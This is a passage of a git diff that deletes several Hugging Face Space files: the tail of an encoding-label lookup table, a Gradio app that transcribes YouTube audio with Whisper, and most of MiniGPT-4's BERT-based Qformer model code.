-    'iso885911':           'windows-874',
-    'tis-620':             'windows-874',
-    'windows-874':         'windows-874',
-    'cp1250':              'windows-1250',
-    'windows-1250':        'windows-1250',
-    'x-cp1250':            'windows-1250',
-    'cp1251':              'windows-1251',
-    'windows-1251':        'windows-1251',
-    'x-cp1251':            'windows-1251',
-    'ansi_x3.4-1968':      'windows-1252',
-    'ascii':               'windows-1252',
-    'cp1252':              'windows-1252',
-    'cp819':               'windows-1252',
-    'csisolatin1':         'windows-1252',
-    'ibm819':              'windows-1252',
-    'iso-8859-1':          'windows-1252',
-    'iso-ir-100':          'windows-1252',
-    'iso8859-1':           'windows-1252',
-    'iso88591':            'windows-1252',
-    'iso_8859-1':          'windows-1252',
-    'iso_8859-1:1987':     'windows-1252',
-    'l1':                  'windows-1252',
-    'latin1':              'windows-1252',
-    'us-ascii':            'windows-1252',
-    'windows-1252':        'windows-1252',
-    'x-cp1252':            'windows-1252',
-    'cp1253':              'windows-1253',
-    'windows-1253':        'windows-1253',
-    'x-cp1253':            'windows-1253',
-    'cp1254':              'windows-1254',
-    'csisolatin5':         'windows-1254',
-    'iso-8859-9':          'windows-1254',
-    'iso-ir-148':          'windows-1254',
-    'iso8859-9':           'windows-1254',
-    'iso88599':            'windows-1254',
-    'iso_8859-9':          'windows-1254',
-    'iso_8859-9:1989':     'windows-1254',
-    'l5':                  'windows-1254',
-    'latin5':              'windows-1254',
-    'windows-1254':        'windows-1254',
-    'x-cp1254':            'windows-1254',
-    'cp1255':              'windows-1255',
-    'windows-1255':        'windows-1255',
-    'x-cp1255':            'windows-1255',
-    'cp1256':              'windows-1256',
-    'windows-1256':        'windows-1256',
-    'x-cp1256':            'windows-1256',
-    'cp1257':              'windows-1257',
-    'windows-1257':        'windows-1257',
-    'x-cp1257':            'windows-1257',
-    'cp1258':              'windows-1258',
-    'windows-1258':        'windows-1258',
-    'x-cp1258':            'windows-1258',
-    'x-mac-cyrillic':      'x-mac-cyrillic',
-    'x-mac-ukrainian':     'x-mac-cyrillic',
-    'chinese':             'gbk',
-    'csgb2312':            'gbk',
-    'csiso58gb231280':     'gbk',
-    'gb2312':              'gbk',
-    'gb_2312':             'gbk',
-    'gb_2312-80':          'gbk',
-    'gbk':                 'gbk',
-    'iso-ir-58':           'gbk',
-    'x-gbk':               'gbk',
-    'gb18030':             'gb18030',
-    'hz-gb-2312':          'hz-gb-2312',
-    'big5':                'big5',
-    'big5-hkscs':          'big5',
-    'cn-big5':             'big5',
-    'csbig5':              'big5',
-    'x-x-big5':            'big5',
-    'cseucpkdfmtjapanese': 'euc-jp',
-    'euc-jp':              'euc-jp',
-    'x-euc-jp':            'euc-jp',
-    'csiso2022jp':         'iso-2022-jp',
-    'iso-2022-jp':         'iso-2022-jp',
-    'csshiftjis':          'shift_jis',
-    'ms_kanji':            'shift_jis',
-    'shift-jis':           'shift_jis',
-    'shift_jis':           'shift_jis',
-    'sjis':                'shift_jis',
-    'windows-31j':         'shift_jis',
-    'x-sjis':              'shift_jis',
-    'cseuckr':             'euc-kr',
-    'csksc56011987':       'euc-kr',
-    'euc-kr':              'euc-kr',
-    'iso-ir-149':          'euc-kr',
-    'korean':              'euc-kr',
-    'ks_c_5601-1987':      'euc-kr',
-    'ks_c_5601-1989':      'euc-kr',
-    'ksc5601':             'euc-kr',
-    'ksc_5601':            'euc-kr',
-    'windows-949':         'euc-kr',
-    'csiso2022kr':         'iso-2022-kr',
-    'iso-2022-kr':         'iso-2022-kr',
-    'utf-16be':            'utf-16be',
-    'utf-16':              'utf-16le',
-    'utf-16le':            'utf-16le',
-    'x-user-defined':      'x-user-defined',
-}
diff --git a/spaces/UndueTarget/youtube-whisper/app.py b/spaces/UndueTarget/youtube-whisper/app.py
deleted file mode 100644
index 4a61dc561a016c53ad93a3c556b0ef7bafa964eb..0000000000000000000000000000000000000000
--- a/spaces/UndueTarget/youtube-whisper/app.py
+++ /dev/null
@@ -1,66 +0,0 @@
-import gradio as gr
-import whisper
-from pytube import YouTube
-
-def get_audio(url):
-    yt = YouTube(url)
-    return yt.streams.filter(only_audio=True)[0].download(filename="tmp.mp4")
-
-def get_transcript(url, model_size, lang, format):
-
-    model = whisper.load_model(model_size)
-
-    if lang == "None":
-        lang = None
-    
-    result = model.transcribe(get_audio(url), fp16=False, language=lang)
-
-    if format == "None":
-        return result["text"]
-    elif format == ".srt":
-        return format_to_srt(result["segments"])
-
-def format_to_srt(segments):
-    output = ""
-    for i, segment in enumerate(segments):
-        output += f"{i + 1}\n"
-        output += f"{format_timestamp(segment['start'])} --> {format_timestamp(segment['end'])}\n"
-        output += f"{segment['text']}\n\n"
-    return output
-
-def format_timestamp(t):
-    hh = t//3600
-    mm = (t - hh*3600)//60
-    ss = t - hh*3600 - mm*60
-    mi = (t - int(t))*1000
-    return f"{int(hh):02d}:{int(mm):02d}:{int(ss):02d},{int(mi):03d}"
-
-
-langs = ["None"] + sorted(list(whisper.tokenizer.LANGUAGES.values()))
-model_size = list(whisper._MODELS.keys())
-
-with gr.Blocks() as demo:
-
-    with gr.Row():
-
-        with gr.Column():
-
-            with gr.Row():
-                url = gr.Textbox(placeholder='Youtube video URL', label='URL')
-
-            with gr.Row():
-
-                model_size = gr.Dropdown(choices=model_size, value='tiny', label="Model")
-                lang = gr.Dropdown(choices=langs, value="None", label="Language (Optional)")
-                format = gr.Dropdown(choices=["None", ".srt"], value="None", label="Timestamps? (Optional)")
-
-            with gr.Row():
-                gr.Markdown("Larger models are more accurate, but slower. For 1min video, it'll take ~30s (tiny), ~1min (base), ~3min (small), ~5min (medium), etc.")
-                transcribe_btn = gr.Button('Transcribe')
-
-        with gr.Column():
-            outputs = gr.Textbox(placeholder='Transcription of the video', label='Transcription')
-
-    transcribe_btn.click(get_transcript, inputs=[url, model_size, lang, format], outputs=outputs)
-
-demo.launch(debug=True)
diff --git a/spaces/Vision-CAIR/minigpt4/minigpt4/models/Qformer.py b/spaces/Vision-CAIR/minigpt4/minigpt4/models/Qformer.py
deleted file mode 100644
index e71b12375e10511858a9c505dc795181e6ce5603..0000000000000000000000000000000000000000
--- a/spaces/Vision-CAIR/minigpt4/minigpt4/models/Qformer.py
+++ /dev/null
@@ -1,1216 +0,0 @@
-"""
- * Copyright (c) 2023, salesforce.com, inc.
- * All rights reserved.
- * SPDX-License-Identifier: BSD-3-Clause
- * For full license text, see LICENSE.txt file in the repo root or https://opensource.org/licenses/BSD-3-Clause
- * By Junnan Li
- * Based on huggingface code base
- * https://github.com/huggingface/transformers/blob/v4.15.0/src/transformers/models/bert
-"""
-
-import math
-import os
-import warnings
-from dataclasses import dataclass
-from typing import Optional, Tuple, Dict, Any
-
-import torch
-from torch import Tensor, device, dtype, nn
-import torch.utils.checkpoint
-from torch import nn
-from torch.nn import CrossEntropyLoss
-import torch.nn.functional as F
-
-from transformers.activations import ACT2FN
-from transformers.file_utils import (
-    ModelOutput,
-)
-from transformers.modeling_outputs import (
-    BaseModelOutputWithPastAndCrossAttentions,
-    BaseModelOutputWithPoolingAndCrossAttentions,
-    CausalLMOutputWithCrossAttentions,
-    MaskedLMOutput,
-    MultipleChoiceModelOutput,
-    NextSentencePredictorOutput,
-    QuestionAnsweringModelOutput,
-    SequenceClassifierOutput,
-    TokenClassifierOutput,
-)
-from transformers.modeling_utils import (
-    PreTrainedModel,
-    apply_chunking_to_forward,
-    find_pruneable_heads_and_indices,
-    prune_linear_layer,
-)
-from transformers.utils import logging
-from transformers.models.bert.configuration_bert import BertConfig
-
-logger = logging.get_logger(__name__)
-
-
-class BertEmbeddings(nn.Module):
-    """Construct the embeddings from word and position embeddings."""
-
-    def __init__(self, config):
-        super().__init__()
-        self.word_embeddings = nn.Embedding(
-            config.vocab_size, config.hidden_size, padding_idx=config.pad_token_id
-        )
-        self.position_embeddings = nn.Embedding(
-            config.max_position_embeddings, config.hidden_size
-        )
-
-        # self.LayerNorm is not snake-cased to stick with TensorFlow model variable name and be able to load
-        # any TensorFlow checkpoint file
-        self.LayerNorm = nn.LayerNorm(config.hidden_size, eps=config.layer_norm_eps)
-        self.dropout = nn.Dropout(config.hidden_dropout_prob)
-
-        # position_ids (1, len position emb) is contiguous in memory and exported when serialized
-        self.register_buffer(
-            "position_ids", torch.arange(config.max_position_embeddings).expand((1, -1))
-        )
-        self.position_embedding_type = getattr(
-            config, "position_embedding_type", "absolute"
-        )
-
-        self.config = config
-
-    def forward(
-        self,
-        input_ids=None,
-        position_ids=None,
-        query_embeds=None,
-        past_key_values_length=0,
-    ):
-        if input_ids is not None:
-            seq_length = input_ids.size()[1]
-        else:
-            seq_length = 0
-
-        if position_ids is None:
-            position_ids = self.position_ids[
-                :, past_key_values_length : seq_length + past_key_values_length
-            ].clone()
-
-        if input_ids is not None:
-            embeddings = self.word_embeddings(input_ids)
-            if self.position_embedding_type == "absolute":
-                position_embeddings = self.position_embeddings(position_ids)
-                embeddings = embeddings + position_embeddings
-
-            if query_embeds is not None:
-                embeddings = torch.cat((query_embeds, embeddings), dim=1)
-        else:
-            embeddings = query_embeds
-
-        embeddings = self.LayerNorm(embeddings)
-        embeddings = self.dropout(embeddings)
-        return embeddings
-
-
-class BertSelfAttention(nn.Module):
-    def __init__(self, config, is_cross_attention):
-        super().__init__()
-        self.config = config
-        if config.hidden_size % config.num_attention_heads != 0 and not hasattr(
-            config, "embedding_size"
-        ):
-            raise ValueError(
-                "The hidden size (%d) is not a multiple of the number of attention "
-                "heads (%d)" % (config.hidden_size, config.num_attention_heads)
-            )
-
-        self.num_attention_heads = config.num_attention_heads
-        self.attention_head_size = int(config.hidden_size / config.num_attention_heads)
-        self.all_head_size = self.num_attention_heads * self.attention_head_size
-
-        self.query = nn.Linear(config.hidden_size, self.all_head_size)
-        if is_cross_attention:
-            self.key = nn.Linear(config.encoder_width, self.all_head_size)
-            self.value = nn.Linear(config.encoder_width, self.all_head_size)
-        else:
-            self.key = nn.Linear(config.hidden_size, self.all_head_size)
-            self.value = nn.Linear(config.hidden_size, self.all_head_size)
-
-        self.dropout = nn.Dropout(config.attention_probs_dropout_prob)
-        self.position_embedding_type = getattr(
-            config, "position_embedding_type", "absolute"
-        )
-        if (
-            self.position_embedding_type == "relative_key"
-            or self.position_embedding_type == "relative_key_query"
-        ):
-            self.max_position_embeddings = config.max_position_embeddings
-            self.distance_embedding = nn.Embedding(
-                2 * config.max_position_embeddings - 1, self.attention_head_size
-            )
-        self.save_attention = False
-
-    def save_attn_gradients(self, attn_gradients):
-        self.attn_gradients = attn_gradients
-
-    def get_attn_gradients(self):
-        return self.attn_gradients
-
-    def save_attention_map(self, attention_map):
-        self.attention_map = attention_map
-
-    def get_attention_map(self):
-        return self.attention_map
-
-    def transpose_for_scores(self, x):
-        new_x_shape = x.size()[:-1] + (
-            self.num_attention_heads,
-            self.attention_head_size,
-        )
-        x = x.view(*new_x_shape)
-        return x.permute(0, 2, 1, 3)
-
-    def forward(
-        self,
-        hidden_states,
-        attention_mask=None,
-        head_mask=None,
-        encoder_hidden_states=None,
-        encoder_attention_mask=None,
-        past_key_value=None,
-        output_attentions=False,
-    ):
-
-        # If this is instantiated as a cross-attention module, the keys
-        # and values come from an encoder; the attention mask needs to be
-        # such that the encoder's padding tokens are not attended to.
-        is_cross_attention = encoder_hidden_states is not None
-
-        if is_cross_attention:
-            key_layer = self.transpose_for_scores(self.key(encoder_hidden_states))
-            value_layer = self.transpose_for_scores(self.value(encoder_hidden_states))
-            attention_mask = encoder_attention_mask
-        elif past_key_value is not None:
-            key_layer = self.transpose_for_scores(self.key(hidden_states))
-            value_layer = self.transpose_for_scores(self.value(hidden_states))
-            key_layer = torch.cat([past_key_value[0], key_layer], dim=2)
-            value_layer = torch.cat([past_key_value[1], value_layer], dim=2)
-        else:
-            key_layer = self.transpose_for_scores(self.key(hidden_states))
-            value_layer = self.transpose_for_scores(self.value(hidden_states))
-
-        mixed_query_layer = self.query(hidden_states)
-
-        query_layer = self.transpose_for_scores(mixed_query_layer)
-
-        past_key_value = (key_layer, value_layer)
-
-        # Take the dot product between "query" and "key" to get the raw attention scores.
-        attention_scores = torch.matmul(query_layer, key_layer.transpose(-1, -2))
-
-        if (
-            self.position_embedding_type == "relative_key"
-            or self.position_embedding_type == "relative_key_query"
-        ):
-            seq_length = hidden_states.size()[1]
-            position_ids_l = torch.arange(
-                seq_length, dtype=torch.long, device=hidden_states.device
-            ).view(-1, 1)
-            position_ids_r = torch.arange(
-                seq_length, dtype=torch.long, device=hidden_states.device
-            ).view(1, -1)
-            distance = position_ids_l - position_ids_r
-            positional_embedding = self.distance_embedding(
-                distance + self.max_position_embeddings - 1
-            )
-            positional_embedding = positional_embedding.to(
-                dtype=query_layer.dtype
-            )  # fp16 compatibility
-
-            if self.position_embedding_type == "relative_key":
-                relative_position_scores = torch.einsum(
-                    "bhld,lrd->bhlr", query_layer, positional_embedding
-                )
-                attention_scores = attention_scores + relative_position_scores
-            elif self.position_embedding_type == "relative_key_query":
-                relative_position_scores_query = torch.einsum(
-                    "bhld,lrd->bhlr", query_layer, positional_embedding
-                )
-                relative_position_scores_key = torch.einsum(
-                    "bhrd,lrd->bhlr", key_layer, positional_embedding
-                )
-                attention_scores = (
-                    attention_scores
-                    + relative_position_scores_query
-                    + relative_position_scores_key
-                )
-
-        attention_scores = attention_scores / math.sqrt(self.attention_head_size)
-        if attention_mask is not None:
-            # Apply the attention mask is (precomputed for all layers in BertModel forward() function)
-            attention_scores = attention_scores + attention_mask
-
-        # Normalize the attention scores to probabilities.
-        attention_probs = nn.Softmax(dim=-1)(attention_scores)
-
-        if is_cross_attention and self.save_attention:
-            self.save_attention_map(attention_probs)
-            attention_probs.register_hook(self.save_attn_gradients)
-
-        # This is actually dropping out entire tokens to attend to, which might
-        # seem a bit unusual, but is taken from the original Transformer paper.
-        attention_probs_dropped = self.dropout(attention_probs)
-
-        # Mask heads if we want to
-        if head_mask is not None:
-            attention_probs_dropped = attention_probs_dropped * head_mask
-
-        context_layer = torch.matmul(attention_probs_dropped, value_layer)
-
-        context_layer = context_layer.permute(0, 2, 1, 3).contiguous()
-        new_context_layer_shape = context_layer.size()[:-2] + (self.all_head_size,)
-        context_layer = context_layer.view(*new_context_layer_shape)
-
-        outputs = (
-            (context_layer, attention_probs) if output_attentions else (context_layer,)
-        )
-
-        outputs = outputs + (past_key_value,)
-        return outputs
-
-
-class BertSelfOutput(nn.Module):
-    def __init__(self, config):
-        super().__init__()
-        self.dense = nn.Linear(config.hidden_size, config.hidden_size)
-        self.LayerNorm = nn.LayerNorm(config.hidden_size, eps=config.layer_norm_eps)
-        self.dropout = nn.Dropout(config.hidden_dropout_prob)
-
-    def forward(self, hidden_states, input_tensor):
-        hidden_states = self.dense(hidden_states)
-        hidden_states = self.dropout(hidden_states)
-        hidden_states = self.LayerNorm(hidden_states + input_tensor)
-        return hidden_states
-
-
-class BertAttention(nn.Module):
-    def __init__(self, config, is_cross_attention=False):
-        super().__init__()
-        self.self = BertSelfAttention(config, is_cross_attention)
-        self.output = BertSelfOutput(config)
-        self.pruned_heads = set()
-
-    def prune_heads(self, heads):
-        if len(heads) == 0:
-            return
-        heads, index = find_pruneable_heads_and_indices(
-            heads,
-            self.self.num_attention_heads,
-            self.self.attention_head_size,
-            self.pruned_heads,
-        )
-
-        # Prune linear layers
-        self.self.query = prune_linear_layer(self.self.query, index)
-        self.self.key = prune_linear_layer(self.self.key, index)
-        self.self.value = prune_linear_layer(self.self.value, index)
-        self.output.dense = prune_linear_layer(self.output.dense, index, dim=1)
-
-        # Update hyper params and store pruned heads
-        self.self.num_attention_heads = self.self.num_attention_heads - len(heads)
-        self.self.all_head_size = (
-            self.self.attention_head_size * self.self.num_attention_heads
-        )
-        self.pruned_heads = self.pruned_heads.union(heads)
-
-    def forward(
-        self,
-        hidden_states,
-        attention_mask=None,
-        head_mask=None,
-        encoder_hidden_states=None,
-        encoder_attention_mask=None,
-        past_key_value=None,
-        output_attentions=False,
-    ):
-        self_outputs = self.self(
-            hidden_states,
-            attention_mask,
-            head_mask,
-            encoder_hidden_states,
-            encoder_attention_mask,
-            past_key_value,
-            output_attentions,
-        )
-        attention_output = self.output(self_outputs[0], hidden_states)
-
-        outputs = (attention_output,) + self_outputs[
-            1:
-        ]  # add attentions if we output them
-        return outputs
-
-
-class BertIntermediate(nn.Module):
-    def __init__(self, config):
-        super().__init__()
-        self.dense = nn.Linear(config.hidden_size, config.intermediate_size)
-        if isinstance(config.hidden_act, str):
-            self.intermediate_act_fn = ACT2FN[config.hidden_act]
-        else:
-            self.intermediate_act_fn = config.hidden_act
-
-    def forward(self, hidden_states):
-        hidden_states = self.dense(hidden_states)
-        hidden_states = self.intermediate_act_fn(hidden_states)
-        return hidden_states
-
-
-class BertOutput(nn.Module):
-    def __init__(self, config):
-        super().__init__()
-        self.dense = nn.Linear(config.intermediate_size, config.hidden_size)
-        self.LayerNorm = nn.LayerNorm(config.hidden_size, eps=config.layer_norm_eps)
-        self.dropout = nn.Dropout(config.hidden_dropout_prob)
-
-    def forward(self, hidden_states, input_tensor):
-        hidden_states = self.dense(hidden_states)
-        hidden_states = self.dropout(hidden_states)
-        hidden_states = self.LayerNorm(hidden_states + input_tensor)
-        return hidden_states
-
-
-class BertLayer(nn.Module):
-    def __init__(self, config, layer_num):
-        super().__init__()
-        self.config = config
-        self.chunk_size_feed_forward = config.chunk_size_feed_forward
-        self.seq_len_dim = 1
-        self.attention = BertAttention(config)
-        self.layer_num = layer_num
-        if (
-            self.config.add_cross_attention
-            and layer_num % self.config.cross_attention_freq == 0
-        ):
-            self.crossattention = BertAttention(
-                config, is_cross_attention=self.config.add_cross_attention
-            )
-            self.has_cross_attention = True
-        else:
-            self.has_cross_attention = False
-        self.intermediate = BertIntermediate(config)
-        self.output = BertOutput(config)
-
-        self.intermediate_query = BertIntermediate(config)
-        self.output_query = BertOutput(config)
-
-    def forward(
-        self,
-        hidden_states,
-        attention_mask=None,
-        head_mask=None,
-        encoder_hidden_states=None,
-        encoder_attention_mask=None,
-        past_key_value=None,
-        output_attentions=False,
-        query_length=0,
-    ):
-        # decoder uni-directional self-attention cached key/values tuple is at positions 1,2
-        self_attn_past_key_value = (
-            past_key_value[:2] if past_key_value is not None else None
-        )
-        self_attention_outputs = self.attention(
-            hidden_states,
-            attention_mask,
-            head_mask,
-            output_attentions=output_attentions,
-            past_key_value=self_attn_past_key_value,
-        )
-        attention_output = self_attention_outputs[0]
-        outputs = self_attention_outputs[1:-1]
-
-        present_key_value = self_attention_outputs[-1]
-
-        if query_length > 0:
-            query_attention_output = attention_output[:, :query_length, :]
-
-            if self.has_cross_attention:
-                assert (
-                    encoder_hidden_states is not None
-                ), "encoder_hidden_states must be given for cross-attention layers"
-                cross_attention_outputs = self.crossattention(
-                    query_attention_output,
-                    attention_mask,
-                    head_mask,
-                    encoder_hidden_states,
-                    encoder_attention_mask,
-                    output_attentions=output_attentions,
-                )
-                query_attention_output = cross_attention_outputs[0]
-                outputs = (
-                    outputs + cross_attention_outputs[1:-1]
-                )  # add cross attentions if we output attention weights
-
-            layer_output = apply_chunking_to_forward(
-                self.feed_forward_chunk_query,
-                self.chunk_size_feed_forward,
-                self.seq_len_dim,
-                query_attention_output,
-            )
-            if attention_output.shape[1] > query_length:
-                layer_output_text = apply_chunking_to_forward(
-                    self.feed_forward_chunk,
-                    self.chunk_size_feed_forward,
-                    self.seq_len_dim,
-                    attention_output[:, query_length:, :],
-                )
-                layer_output = torch.cat([layer_output, layer_output_text], dim=1)
-        else:
-            layer_output = apply_chunking_to_forward(
-                self.feed_forward_chunk,
-                self.chunk_size_feed_forward,
-                self.seq_len_dim,
-                attention_output,
-            )
-        outputs = (layer_output,) + outputs
-
-        outputs = outputs + (present_key_value,)
-
-        return outputs
-
-    def feed_forward_chunk(self, attention_output):
-        intermediate_output = self.intermediate(attention_output)
-        layer_output = self.output(intermediate_output, attention_output)
-        return layer_output
-
-    def feed_forward_chunk_query(self, attention_output):
-        intermediate_output = self.intermediate_query(attention_output)
-        layer_output = self.output_query(intermediate_output, attention_output)
-        return layer_output
-
-
-class BertEncoder(nn.Module):
-    def __init__(self, config):
-        super().__init__()
-        self.config = config
-        self.layer = nn.ModuleList(
-            [BertLayer(config, i) for i in range(config.num_hidden_layers)]
-        )
-
-    def forward(
-        self,
-        hidden_states,
-        attention_mask=None,
-        head_mask=None,
-        encoder_hidden_states=None,
-        encoder_attention_mask=None,
-        past_key_values=None,
-        use_cache=None,
-        output_attentions=False,
-        output_hidden_states=False,
-        return_dict=True,
-        query_length=0,
-    ):
-        all_hidden_states = () if output_hidden_states else None
-        all_self_attentions = () if output_attentions else None
-        all_cross_attentions = (
-            () if output_attentions and self.config.add_cross_attention else None
-        )
-
-        next_decoder_cache = () if use_cache else None
-
-        for i in range(self.config.num_hidden_layers):
-            layer_module = self.layer[i]
-            if output_hidden_states:
-                all_hidden_states = all_hidden_states + (hidden_states,)
-
-            layer_head_mask = head_mask[i] if head_mask is not None else None
-            past_key_value = past_key_values[i] if past_key_values is not None else None
-
-            if getattr(self.config, "gradient_checkpointing", False) and self.training:
-
-                if use_cache:
-                    logger.warn(
-                        "`use_cache=True` is incompatible with gradient checkpointing. Setting `use_cache=False`..."
-                    )
-                    use_cache = False
-
-                def create_custom_forward(module):
-                    def custom_forward(*inputs):
-                        return module(
-                            *inputs, past_key_value, output_attentions, query_length
-                        )
-
-                    return custom_forward
-
-                layer_outputs = torch.utils.checkpoint.checkpoint(
-                    create_custom_forward(layer_module),
-                    hidden_states,
-                    attention_mask,
-                    layer_head_mask,
-                    encoder_hidden_states,
-                    encoder_attention_mask,
-                )
-            else:
-                layer_outputs = layer_module(
-                    hidden_states,
-                    attention_mask,
-                    layer_head_mask,
-                    encoder_hidden_states,
-                    encoder_attention_mask,
-                    past_key_value,
-                    output_attentions,
-                    query_length,
-                )
-
-            hidden_states = layer_outputs[0]
-            if use_cache:
-                next_decoder_cache += (layer_outputs[-1],)
-            if output_attentions:
-                all_self_attentions = all_self_attentions + (layer_outputs[1],)
-                all_cross_attentions = all_cross_attentions + (layer_outputs[2],)
-
-        if output_hidden_states:
-            all_hidden_states = all_hidden_states + (hidden_states,)
-
-        if not return_dict:
-            return tuple(
-                v
-                for v in [
-                    hidden_states,
-                    next_decoder_cache,
-                    all_hidden_states,
-                    all_self_attentions,
-                    all_cross_attentions,
-                ]
-                if v is not None
-            )
-        return BaseModelOutputWithPastAndCrossAttentions(
-            last_hidden_state=hidden_states,
-            past_key_values=next_decoder_cache,
-            hidden_states=all_hidden_states,
-            attentions=all_self_attentions,
-            cross_attentions=all_cross_attentions,
-        )
-
-
-class BertPooler(nn.Module):
-    def __init__(self, config):
-        super().__init__()
-        self.dense = nn.Linear(config.hidden_size, config.hidden_size)
-        self.activation = nn.Tanh()
-
-    def forward(self, hidden_states):
-        # We "pool" the model by simply taking the hidden state corresponding
-        # to the first token.
-        first_token_tensor = hidden_states[:, 0]
-        pooled_output = self.dense(first_token_tensor)
-        pooled_output = self.activation(pooled_output)
-        return pooled_output
-
-
-class BertPredictionHeadTransform(nn.Module):
-    def __init__(self, config):
-        super().__init__()
-        self.dense = nn.Linear(config.hidden_size, config.hidden_size)
-        if isinstance(config.hidden_act, str):
-            self.transform_act_fn = ACT2FN[config.hidden_act]
-        else:
-            self.transform_act_fn = config.hidden_act
-        self.LayerNorm = nn.LayerNorm(config.hidden_size, eps=config.layer_norm_eps)
-
-    def forward(self, hidden_states):
-        hidden_states = self.dense(hidden_states)
-        hidden_states = self.transform_act_fn(hidden_states)
-        hidden_states = self.LayerNorm(hidden_states)
-        return hidden_states
-
-
-class BertLMPredictionHead(nn.Module):
-    def __init__(self, config):
-        super().__init__()
-        self.transform = BertPredictionHeadTransform(config)
-
-        # The output weights are the same as the input embeddings, but there is
-        # an output-only bias for each token.
-        self.decoder = nn.Linear(config.hidden_size, config.vocab_size, bias=False)
-
-        self.bias = nn.Parameter(torch.zeros(config.vocab_size))
-
-        # Need a link between the two variables so that the bias is correctly resized with `resize_token_embeddings`
-        self.decoder.bias = self.bias
-
-    def forward(self, hidden_states):
-        hidden_states = self.transform(hidden_states)
-        hidden_states = self.decoder(hidden_states)
-        return hidden_states
-
-
-class BertOnlyMLMHead(nn.Module):
-    def __init__(self, config):
-        super().__init__()
-        self.predictions = BertLMPredictionHead(config)
-
-    def forward(self, sequence_output):
-        prediction_scores = self.predictions(sequence_output)
-        return prediction_scores
-
-
-class BertPreTrainedModel(PreTrainedModel):
-    """
-    An abstract class to handle weights initialization and a simple interface for downloading and loading pretrained
-    models.
-    """
-
-    config_class = BertConfig
-    base_model_prefix = "bert"
-    _keys_to_ignore_on_load_missing = [r"position_ids"]
-
-    def _init_weights(self, module):
-        """Initialize the weights"""
-        if isinstance(module, (nn.Linear, nn.Embedding)):
-            # Slightly different from the TF version which uses truncated_normal for initialization
-            # cf https://github.com/pytorch/pytorch/pull/5617
-            module.weight.data.normal_(mean=0.0, std=self.config.initializer_range)
-        elif isinstance(module, nn.LayerNorm):
-            module.bias.data.zero_()
-            module.weight.data.fill_(1.0)
-        if isinstance(module, nn.Linear) and module.bias is not None:
-            module.bias.data.zero_()
-
-
-class BertModel(BertPreTrainedModel):
-    """
-    The model can behave as an encoder (with only self-attention) as well as a decoder, in which case a layer of
-    cross-attention is added between the self-attention layers, following the architecture described in `Attention is
-    all you need <https://arxiv.org/abs/1706.03762>`__ by Ashish Vaswani, Noam Shazeer, Niki Parmar, Jakob Uszkoreit,
-    Llion Jones, Aidan N. Gomez, Lukasz Kaiser and Illia Polosukhin.
-    argument and :obj:`add_cross_attention` set to :obj:`True`; an :obj:`encoder_hidden_states` is then expected as an
-    input to the forward pass.
-    """
-
-    def __init__(self, config, add_pooling_layer=False):
-        super().__init__(config)
-        self.config = config
-
-        self.embeddings = BertEmbeddings(config)
-
-        self.encoder = BertEncoder(config)
-
-        self.pooler = BertPooler(config) if add_pooling_layer else None
-
-        self.init_weights()
-
-    def get_input_embeddings(self):
-        return self.embeddings.word_embeddings
-
-    def set_input_embeddings(self, value):
-        self.embeddings.word_embeddings = value
-
-    def _prune_heads(self, heads_to_prune):
-        """
-        Prunes heads of the model. heads_to_prune: dict of {layer_num: list of heads to prune in this layer} See base
-        class PreTrainedModel
-        """
-        for layer, heads in heads_to_prune.items():
-            self.encoder.layer[layer].attention.prune_heads(heads)
-
-    def get_extended_attention_mask(
-        self,
-        attention_mask: Tensor,
-        input_shape: Tuple[int],
-        device: device,
-        is_decoder: bool,
-        has_query: bool = False,
-    ) -> Tensor:
-        """
-        Makes broadcastable attention and causal masks so that future and masked tokens are ignored.
-
-        Arguments:
-            attention_mask (:obj:`torch.Tensor`):
-                Mask with ones indicating tokens to attend to, zeros for tokens to ignore.
-            input_shape (:obj:`Tuple[int]`):
-                The shape of the input to the model.
-            device: (:obj:`torch.device`):
-                The device of the input to the model.
-
-        Returns:
-            :obj:`torch.Tensor` The extended attention mask, with a the same dtype as :obj:`attention_mask.dtype`.
-        """
-        # We can provide a self-attention mask of dimensions [batch_size, from_seq_length, to_seq_length]
-        # ourselves in which case we just need to make it broadcastable to all heads.
-        if attention_mask.dim() == 3:
-            extended_attention_mask = attention_mask[:, None, :, :]
-        elif attention_mask.dim() == 2:
-            # Provided a padding mask of dimensions [batch_size, seq_length]
-            # - if the model is a decoder, apply a causal mask in addition to the padding mask
-            # - if the model is an encoder, make the mask broadcastable to [batch_size, num_heads, seq_length, seq_length]
-            if is_decoder:
-                batch_size, seq_length = input_shape
-
-                seq_ids = torch.arange(seq_length, device=device)
-                causal_mask = (
-                    seq_ids[None, None, :].repeat(batch_size, seq_length, 1)
-                    <= seq_ids[None, :, None]
-                )
-
-                # add a prefix ones mask to the causal mask
-                # causal and attention masks must have same type with pytorch version < 1.3
-                causal_mask = causal_mask.to(attention_mask.dtype)
-
-                if causal_mask.shape[1] < attention_mask.shape[1]:
-                    prefix_seq_len = attention_mask.shape[1] - causal_mask.shape[1]
-                    if has_query:  # UniLM style attention mask
-                        causal_mask = torch.cat(
-                            [
-                                torch.zeros(
-                                    (batch_size, prefix_seq_len, seq_length),
-                                    device=device,
-                                    dtype=causal_mask.dtype,
-                                ),
-                                causal_mask,
-                            ],
-                            axis=1,
-                        )
-                    causal_mask = torch.cat(
-                        [
-                            torch.ones(
-                                (batch_size, causal_mask.shape[1], prefix_seq_len),
-                                device=device,
-                                dtype=causal_mask.dtype,
-                            ),
-                            causal_mask,
-                        ],
-                        axis=-1,
-                    )
-                extended_attention_mask = (
-                    causal_mask[:, None, :, :] * attention_mask[:, None, None, :]
-                )
-            else:
-                extended_attention_mask = attention_mask[:, None, None, :]
-        else:
-            raise ValueError(
-                "Wrong shape for input_ids (shape {}) or attention_mask (shape {})".format(
-                    input_shape, attention_mask.shape
-                )
-            )
-
-        # Since attention_mask is 1.0 for positions we want to attend and 0.0 for
-        # masked positions, this operation will create a tensor which is 0.0 for
-        # positions we want to attend and -10000.0 for masked positions.
-        # Since we are adding it to the raw scores before the softmax, this is
-        # effectively the same as removing these entirely.
-        extended_attention_mask = extended_attention_mask.to(
-            dtype=self.dtype
-        )  # fp16 compatibility
-        extended_attention_mask = (1.0 - extended_attention_mask) * -10000.0
-        return extended_attention_mask
-
-    def forward(
-        self,
-        input_ids=None,
-        attention_mask=None,
-        position_ids=None,
-        head_mask=None,
-        query_embeds=None,
-        encoder_hidden_states=None,
-        encoder_attention_mask=None,
-        past_key_values=None,
-        use_cache=None,
-        output_attentions=None,
-        output_hidden_states=None,
-        return_dict=None,
-        is_decoder=False,
-    ):
-        r"""
-        encoder_hidden_states  (:obj:`torch.FloatTensor` of shape :obj:`(batch_size, sequence_length, hidden_size)`, `optional`):
